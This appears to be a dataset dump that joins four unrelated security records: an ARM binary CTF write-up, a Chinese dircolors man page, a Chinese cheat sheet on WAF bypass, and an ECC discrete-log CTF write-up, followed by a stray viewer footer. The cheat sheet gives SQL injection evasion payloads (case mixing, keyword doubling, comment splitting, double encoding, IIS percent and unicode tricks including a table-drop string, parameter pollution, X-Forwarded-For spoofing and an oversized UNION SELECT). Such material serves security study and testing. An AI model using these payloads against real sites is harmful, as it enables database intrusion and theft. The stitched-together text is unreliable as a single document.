┌──(user@kali)-[/media/sf_CTFs/technion/BIT]
└─$ tar -xvf phase1
bin.elf
```
Finally, we got a binary:
```console
┌──(user@kali)-[/media/sf_CTFs/technion/BIT]
└─$ file bin.elf
bin.elf: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.3, for GNU/Linux 2.6.26, BuildID[sha1]=52e7f23013b23e494a72b69698259ff891ec04a3, not stripped
```
However it's compiled for ARM, so might not be streightforward to run. Let's start by inspecting the decompilation with Ghidra:
```c
undefined4 main(void)
{
size_t sVar1;
undefined4 uVar2;
__isoc99_scanf(&DAT_00008638,input);
sVar1 = strlen(input);
if (sVar1 == 20) {
if ((input._0_4_ ^ 0x12345678) == xor_result) {
if (input._4_4_ + input._0_4_ == -0x1e2f342c) {
if (input._8_4_ - input._4_4_ == -0xd28eff9) {
if (input._8_4_ - input._12_4_ == -0x528ef05) {
if (input._16_4_ + input._12_4_ == -0x26273b65) {
printf("Correct! The flag is: %s\n",input);
uVar2 = 0;
}
else {
uVar2 = 1;
}
}
else {
uVar2 = 1;
}
}
else {
uVar2 = 1;
}
}
else {
uVar2 = 1;
}
}
else {
uVar2 = 1;
}
}
else {
uVar2 = 1;
}
return uVar2;
}
```
Seems easy enough to reverse:
```c
#include <stdio.h>
int main()
{
int a[6] = {0};
a[0] = 0x12345678 ^ 0x7F533F0B;
a[1] = -0x1e2f342c - a[0];
a[2] = -0xd28eff9 + a[1];
a[3] = a[2] + 0x528ef05;
a[4] = -0x26273b65 - a[3];
printf("%s", (char*)&a);
return 0;
}
```
Output:
```console
┌──(user@kali)-[/media/sf_CTFs/technion/BIT]
└─$ gcc solve.c -o solve && ./solve
sigmabithr@gmail.com
```
So the flag is:
```console
┌──(user@kali)-[/media/sf_CTFs/technion/BIT]
└─$ echo -n "sigmabithr@gmail.com" | sha1sum | awk '{ printf "cstechnion{%s}", $1; }'
cstechnion{cc13535a16336db29c278b29a9c0ce7cf4b1e7c8}
```
|
sec-knowleage
|
.\" Copyright Andries Brouwer, Ragnar Hojland Espinosa and A. Wik, 1998.
.\" Chinese Version Copyright Scorpio, BitBIRD, www.linuxforum.net, 2000
.\" This file may be copied under the conditions described
.\" in the LDP GENERAL PUBLIC LICENSE, Version 1, September 1998
.\" that should have been distributed together with this file.
.\"
.\" Modified, James Sneeringer <jvs@ocslink.com>, Wed Sep 22 23:21:19 1999
.\"
.TH DIRCOLORS 1 "November 1998" "GNU fileutils 4.0"
.SH NAME[名字]
dircolors \- 设置`ls'显示结果的颜色
.SH SYNOPSIS[总览]
.B dircolors
.B [\-b] [\-\-sh] [\-\-bourne\-shell]
.B [\-c] [\-\-csh] [\-\-c\-shell]
.B [\-p] [\-\-print\-database]
.B [\-\-help] [\-\-version]
.BI [ FILE ]
.SH 描述
.B dircolors
输出希望得到的输出颜色,是由
.B ls
(和
.BR dir ,
等.). 典型的用法:
.br
.RS
eval `dircolors [OPTION]... [FILE]`
.RE
.PP
如果指定了
.I FILE
,
.B dircolors
从该文件确定那些颜色用于什么文件类型和外延.
否则使用一个预先编译好的数据库.
关于这个文件的详细格式, 运行`dircolors \-\-print\-database'.
.PP
输出是一个shell命令去设置
.B LS_COLORS
环境变量.你能够指定shell语法来在命令行使用,或者
.B dircolors
将推测它是来自
.B SHELL
环境变量的值.
.PP
完成这个命令后, `ls \-\-color' (可能已经alias 为 ls)
会以渴望的颜色列表文件.
.PP
.SH 选项
.TP
.B "\-b, \-\-sh, \-\-bourne\-shell"
输出 Bourne shell 命令.如果设置了
.B SHELL
环境变量设置了和没有以
.I csh
或是
.IR tcsh
结尾,这就是默认值.
.TP
.B "\-c, \-\-csh, \-\-c\-shell"
输出C shell 命令. 如果
.B SHELL
以
.I csh
或
.IR tcsh
结尾的时候是默认值.
.TP
.B "\-p, \-\-print\-database"
显示(已编译)的默认颜色配置数据库.
这个输出本身就是有效的配置文件
并且相当清楚地描述了可能的情况.
.SH "GNU 标准选项"
.TP
.B "\-\-help"
显示使用信息在标准输出并退出.
.TP
.B "\-\-version"
显示版本信息在标准输出并退出.
.TP
.B "\-\-"
结束选项列表.
.SH 环境(变量)
变量 SHELL and TERM 通常能从shell命令中正确找到.
变量LANG, LC_ALL, LC_CTYPE 和 LC_MESSAGES 有通常的意义.
变量LS_COLORS 被用于信息到
.BR ls .
.SH "遵循"
有色彩的
.BR ls (1)
输出是一项 GNU 扩展.
这个实现和跟着最早的
Slackware Linux 发布的
.BR dircolors / color\-ls
包不太兼容. 尤其是没有提供对 Z shell 和 Korn shell 的支持.
使用这些shells 应该使用 Bourne shell (\-b) 模式.
.SH "参考"
.BR dir_colors (5),
.BR ls (1)
.SH 相关文件
.TP
.I /etc/dir_colors
System\-wide configuration file for
为
.BR dircolors.
提供的系统普用配置文件
.TP
.I ~/.dir_colors
每个用户
.BR dircolors
配置文件.
.SH 注意
这份
.B dircolors
的描述能够在 file\%utils\-4.0 包中找到;
其它的版本也许有些微的不同.
对于修改和新增的请邮到 aeb@cwi.nl.
漏洞报告邮到 fileutils\-bugs@gnu.ai.mit.edu.
.br
.SH "[中文版维护人]"
.B Scorpio <rawk@chinese.com>
.SH "[中文版最新更新]"
.BR 2000/10/9
.SH "《中国Linux论坛man手册页翻译计划》"
.BI http://cmpp.linuxforum.net
|
sec-knowleage
|
# 0x00 简介
WAF的绕过我们无非就是利用WEB程序缺陷,容器特性,网络协议,数据库特性来组合利用绕过,从用户发出请求到数据库的每一点,寻找突破口。
# 0x01 常见的手段
1. HTTP协议
2. 大小混写
3. 替换
4. 使用特殊字符
5. 使用编码
6. 等价替换
7. 容器特性
8. 白名单
9. 缓冲溢出
等等
### HTTP协议
HTTP协议中有很多功能,一般来说我们可以用到的就是编码功能,后来有大佬发现了分块传入来绕过WAF,具体大家可以百度看看,大概http协议我们可以总结如下。
1. 构造畸形数据包
2. 编码
3. 分块
4. 数据包溢出
可能有些表述有误,但是大概意思如此,构造畸形数据包的原理是http协议是有一定的容错性的,我们也常用这个容错性去绕过上传。编码绕过的原理也是利用程序解密,而waf识别不了,数据包溢出则是数据包过大waf自动丢弃不识别
### 大小混写
大小混写一般是绕过一些简单的正则 ,对大小写敏感的。
```
UnIon SlEct
```
### 替换
这种一般是因为正则吧我们的关键词给替换删除了,但是没有进行多次匹配导致绕过
```
ununionion seselectlect
un/**/ion se/**/lect
```
### 特殊字符
特殊符号也多是数据库的特性,利用数据库可以使用多种符号来绕过,多种的运算符
```
`updatexml`
and!!!1=1
/**/
/*!50000*/
```
### 使用编码
这里和http协议差不多,多重编码等等,url编码会自己解码一次,但是有的程序他可以自己多次解密,那么我们就可以拿来利用
还有的程序参数他是支持base64的 那么我们的payload就可以编码绕过了
```
= -> %3D ->%25%33%44
and 1=1 -> YW5kIDE9MQ==
```
### 等价替换
mysql众多的函数也我们的bypass带来了很对便利,比如一个分割字符串的函数都是几个,倘若被过滤一个可以换成其他的
```
substr(version(),1,1)
Substring(version(),1,1)
Left(version(),1)
```
### 容器特性
1. iis
容器的特性给我们绕过非常的有帮助,感谢那些善于发现的师傅们。
```
iis+asp 的%特性:当传入的 s%e%l%e%c%t 函数被%分割时,解析出来还是select
iis+asp 的unicode特性 : iis支持Unicode的解析 我们传入s%u0065lect解析为select
+--------------------------------------------------------------------+
| Keywords | WAF | ASP/ASP.NET |
+--------------------------------------------------------------------+
| sele%ct * fr%om.. | sele%ct * fr%om.. | select * from.. |
| ;dr%op ta%ble xxx | ;dr%op ta%ble xxx | ;drop table xxx |
| <scr%ipt> | <scr%ipt> | <script> |
| <if%rame> | <if%rame> | <iframe> |
+--------------------------------------------------------------------+
```
2. hpp
hpp参数污染,前面我们绕过安全狗用到过,不同容器对我们传入的值解析顺序不同,这也是我们可以利用的
```
php+apache &id=1&id=2 他只解析最后一个
+------------------------------------------------------------------+
| Web Server | Parameter Interpretation | Example |
+------------------------------------------------------------------+
| ASP.NET/IIS | Concatenation by comma | par1=val1,val2 |
| ASP/IIS | Concatenation by comma | par1=val1,val2 |
| PHP/Apache | The last param is resulting | par1=val2 |
| JSP/Tomcat | The first param is resulting | par1=val1 |
| Perl/Apache | The first param is resulting | par1=val1 |
| DBMan | Concatenation by two tildes | par1=val1~~val2 |
+------------------------------------------------------------------+
```
3. HTTP Parameter Contamination
不同的容器他会对我们的参数带入的一些特殊字符解析成不同的东西,比如
```
+-----------------------------------------------------------+
| Query String | Web Servers response / GET values |
+-----------------------------------------------------------+
| | Apache/2.2.16, PHP/5.3.3 | IIS6/ASP |
+-----------------------------------------------------------+
| ?test[1=2 | test_1=2 | test[1=2 |
| ?test=% | test=% | test= |
| ?test%00=1 | test=1 | test=1 |
| ?test=1%001 | NULL | test=1 |
| ?test+d=1+2 | test_d=1 2 | test d=1 2 |
+-----------------------------------------------------------+
```
### 白名单
有的程序他会对本地ip不拦截,同时他的host使用`X-Forwarded-For` 等来获取
```
X-Forwarded-For:127.0.0.1
```
### 缓冲溢出
waf他处理数据包的大小有限,早期安全狗你提交过长url会直接奔溃
```
?id=1 and (select 1)=(Select 0xA*1000)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26
```
### 参考文章
1. Obfuscate and Bypass : https://www.exploit-db.com/papers/17934
2. 9 ways to bypass Web Application Firewall:https://www.digitalmunition.me/2018/02/sql-injection-9-ways-bypass-web-application-firewall/
# 0x02 文末
bypass不要局限与一种,多种组合才能最大利用,你需要了解mysql的语法,特殊的符号,特殊的写法,FUZZ他可以容错的地方
#### 本文如有错误,请及时提醒,避免误导他人
* author:404
|
sec-knowleage
|
# Improve the quality (Crypto)
In the task we get a [lengthly description](description.txt).
Short version is:
1. We have ECC encryption.
2. The curve is `y^2 = x^3 + 658974*x + B` with most significat decimal digit of `B` being `6`
3. Prime field is based on `p = 962280654317`
4. We get generator point `P = (518459267012, 339109212996)`
5. We get a set of points `Qi` where `Qi = ki * P`
6. The final secret value is a combination of `ki` values (this was very unclear, but in the end it was just concatenation of `ki` values treated as decimal strings and this converted to bytes).
We start-off by recovering the missing `B` parameter of the curve.
This is trivial, since we've got points on the curve and we can just solve the equation `y^2 = x^3 + 658974*x + B`.
We transform this to:
`B = (y^2 - x^3 - 658974*x) mod p`
And apply this to `P = (518459267012, 339109212996)` which gives us `618`, and it fits the hint from the description that `6` is the most significant digit of `B`.
```python
prime = 962280654317
x = 518459267012
y = 339109212996
A = 658974
B = (y^2 - x^3 - A*x) %prime
```
Now we need to recover the `ki` values.
The prime field is very small, so we can efficiently calculate so-called `discrete logarithm` over the elliptic curve.
Fortunately `sage` has all of this already implemented so we just need to do:
```python
K.<z> = GF(prime)
E = EllipticCurve(K,[A,B])
P = E([x,y]) # generator point
solutions = []
for px,py in data:
Q = E([px,py])
solution = P.discrete_log(Q)
print(px,py, solution)
solutions.append(solution)
print(solutions)
```
And from this we recover the `ki` values.
We combine them to get the secret `K`:
```python
large_string = "".join([str(ki) for ki in solutions])
print("".join(map(lambda x: chr(int(x)), chunk(large_string, 2))))
```
This gives:
```
CONVERT THIS TO LOWER CASE FIRST :
THIS IMAGE CONTAINS THE FLAG, TRY TO GET IT
THE SUBMITTED FLAG MUST BE IN THIS FORMAT:
FLAG-EC[WHAT YOU'LL FIND IN THE IMAGE]
IMAGE URL:
HTTP://CRYPTO.CTFSECURINETS.COM/1/STEG-PART.PNG
```
Fortunately there is not much of a stegano there really.
The picture is:

And can be easily read to get the final flag: `flag-ec[EC_St!e-g1(a)no]`
|
sec-knowleage
|
Subsets and Splits
Top 100 EPUB Books
This query retrieves a limited set of raw data entries that belong to the 'epub_books' category, offering only basic filtering without deeper insights.